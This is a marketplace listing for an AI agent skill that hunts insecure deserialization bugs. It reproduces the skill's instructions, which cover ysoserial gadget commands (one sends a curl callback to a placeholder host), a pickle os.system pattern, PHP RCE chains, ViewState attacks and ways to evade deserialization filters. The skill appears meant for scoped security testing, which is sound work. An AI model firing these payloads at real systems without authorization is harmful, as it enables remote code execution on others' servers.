Skip to content
Agentmart
Submit a tool

hunt-deserialization

Insecure deserialization hunting across Java / .NET / PHP / Python / Ruby / Node.

Skill by Encod3d-Sec

IndexedMIT★ 335
Write a review

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/encod3d-sec-hunt-deserialization

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

Insecure deserialization hunting across Java / .NET / PHP / Python / Ruby / Node. Gadget-chain RCE, OOB-gated blind detection, magic-byte fingerprinting. Wiki-first, FIND schema output.

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/hunt-deserialization

What's inside

Skill name
hunt-deserialization
Description
Insecure deserialization hunting across Java / .NET / PHP / Python / Ruby / Node. Gadget-chain RCE, OOB-gated blind detection, magic-byte fingerprinting. Wiki-first, FIND schema output.
License
MIT
Instructions
119 lines in SKILL.md · view on GitHub

Before installing

  • Instructions call the network

Files (1)

  • SKILL.md

SKILL.md (first lines)

# Hunt: Insecure Deserialization

**Assumes `hunt-core`** for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

## Wiki

```
qmd_query "insecure deserialization gadget chain Java .NET PHP Python Ruby Node ysoserial" via wiki-search MCP
```

Hub: [[web-moc]] (live web index). Primary page: [[insecure-deserialization]]. Payload arsenal: `wiki/payloads/deserialization.md`.
Anchors: [[ml-model-deserialization]].

## Confirmation gate

**Blind deserialization RCE claims require an OOB HIT. No exceptions.** The first payload is always
a benign OOB probe, never a command: Java `URLDNS` / `JRMPClient` force a DNS/TCP callback with zero
code-exec risk, proving the sink deserializes attacker data before you fire a gadget.

**NOT confirmation:** a deserialization error, a type error, a stack trace, a `500`, or the blob
merely being accepted. Any of these alone means the parser saw your bytes, not that you control
execution.

**IS confirmation:** an OOB callback from the gadget to your unique Collaborator / interactsh
subdomain, or a demonstrated effect - command execution, a file read, an SSRF fetch - reproduced in
a clean session per hunt-core. A time-delay gadget that reliably toggles counts as the effect.
Blind cases need the OOB HIT.

When you plant the OOB probe (URLDNS/JRMPClient or any blind payload), append a row to
`targets/<eng>/oob.md`: `| <token> | <sink url+param> | deser | <date> | waiting | |` (columns:
token | sink | class | planted | status | source, token = your unique interactsh label). The
recon-capture hook auto-correlates incoming callbacks to flip the row to HIT and SessionStart
surfaces HITs; the HIT row is the gate to scaffold the FIND. Do NOT claim a blind deserialization
finding without a HIT row.

## Attack surface signals

Fingerprint serialized blobs by magic bytes / shape:

```
rO0AB...                      Java (base64, 0xAC 0xED 0x00 0x05)
AAEAAAD/////                  .NET BinaryFormatter (base64)
a:2:{... / O:8:"stdClass":    PHP serialize()
gASV / \x80\x04 / \x80\x05    Python pickle (base64 gAS...)
BAh... / --- !ruby/object     Ruby Marshal / YAML
```

Sink locations: cookies (`session`, `auth`, `state`, `viewstate`), hidden form fields,
`Authorization`, API JSON with type hints, message queues, cache, file upload of `.ser`/`.pickle`.

**Rank before firing a gadget.** Not all sinks are equal:

- **ASP.NET `__VIEWSTATE`** - if MAC is off or the machineKey leaked, straight to RCE; check first.
- **Session / auth cookies carrying a serialized blob** - attacker-controlled every request, no
  prior access needed to reach the sink.
- **`.ser`/`.pickle` file uploads and `phar://` sinks** - the parser runs on your bytes by design.
- **API JSON with type hints** (`$type`, `_class`, polymorphic deserializers) - Jackson / fastjson
  default-typing, .NET `TypeNameHandling`.
- **Message-queue / cache payloads** - internal, often unauthenticated, frequently no look-ahead
  filter.

## Methodology
1. Locate serialized data (decode base64, match magic bytes above).
2. **Java:**
```bash
java -jar ysoserial.jar URLDNS "http://probe.<collab>" | base64 -w0     # OOB probe FIRST
java -jar ysoserial.jar CommonsCollections6 "curl http://<collab>/x" | base64 -w0   # after sink confirmed
# .NET ViewState: known machineKey -> ysoserial.net -p ViewState
```
**No ysoserial jar on the box?** (the tooling VM often lacks it; the jitpack build download returns an
empty/9-byte stub.) BUILD the gadget yourself against the target's gadget lib from Maven Central, then
compile with `--release <target-JRE-major>` and run with the right `--add-opens`. Full recipe +
modern-JDK (17/21) gotchas (class-version mismatch, `InaccessibleObjectException`, CC5's String-typed
`BadAttributeValueExpException.val` on JDK 21 -> use CC6) in [[deserialization]] "Build the gadget yourself".
3. **.NET:** `ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd"`; ViewState via `ysoserial.net -p ViewState --generator=... --validationkey=...`.
4. **PHP:** craft POP chain from app's `__wakeup`/`__destruct`/`__toString`; `phpggc Framework/RCE1 system id`. Look for `unserialize()` on user input, phar:// (deser via filesystem funcs).
5. **Python:** `pickle.loads` on user data -> `__reduce__` returning `(os.system, ("cmd",))`. yaml.load (unsafe) -> `!!python/object/apply:os.system`.
6. **Ruby:** Marshal.load / unsafe YAML.load -> universal gadget chains (`Gem::...`).
7. **Node:** `node-serialize` `_$$ND_FUNC$$_` IIFE; `funcster`, `serialize-javascript` sinks.
8. **Distill when confirmed** (per hunt-core): reusable gadget chain or framework sink -> `python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/insecure-deserialization.md`.

## Chaining

A deserialization sink is usually the RCE itself, not a step toward one: a working gadget executes
your command in-process. When the classpath yields only a partial primitive - URLDNS / JRMPClient
SSRF, a file-read gadget, a JNDI lookup - drive the follow-on through `hunt-rce` (JNDI/LDAP to code
exec, log4shell-style) or the relevant sink skill rather than forcing a command gadget the
look-ahead filter blocks.

## Evasion

Look-ahead deserialization filters (`ValidatingObjectInputStream`, `ObjectInputFilter`, Jackson
allowlists) reject known gadget classes by name. When a confirmed sink rejects CC1-7: switch to a
gadget library actually on the classpath (Spring, Hibernate5, C3P0, ROME, MozillaRhino), try a
different serialization format the same endpoint accepts (XML / JSON / YAML vs binary), nest the
payload (`SignedObject` wrapping), or - .NET - swap the formatter (`LosFormatter`, `SoapFormatter`,
`Json.NET TypeNameHandling`). Fingerprint the exact library version before sweeping blind.

## Severity

- **CRITICAL** - command execution or an OOB code callback from the gadget.
- **HIGH** - file-read or SSRF-only gadget (no command exec).
- **MEDIUM** - DoS-only gadget.

Rated on demonstrated impact per hunt-core, not the theoretical maximum of the class.

## Deadends

Stop after the bounded OOB gadget sweep (per hunt-core / CLAUDE.md: ~30-40 payloads, zero
callbacks) or when the sink deserializes but no gadget on the classpath executes:

```
Append: - [ ] deser on <host> <param> -- Java sink confirmed (URLDNS hit) but CC1-7/Spring/
              Hibernate no exec (hardened classpath / look-ahead filter)
```

Record which gadget libraries and formats you tried, not just that it failed.

From Encod3d-Sec/TORCH, MIT.

More from Encod3d-Sec/TORCH

Compare and alternatives

    Featured in

    Signals

    Stars
    335
    Forks
    49
    Open issues
    0
    Last commit (this folder)
    Jul 27, 2026 (3 months ago)

    From GitHub (fetched Oct 24, 2026).

    Details

    License
    MIT
    First seen
    Oct 24, 2026
    Last checked
    Oct 24, 2026

    More from Encod3d-Sec

    Cite this page

    hunt-deserialization skill. Agent Mart. https://agentmart.dev/skills/encod3d-sec-hunt-deserialization (last updated 2026-10-24)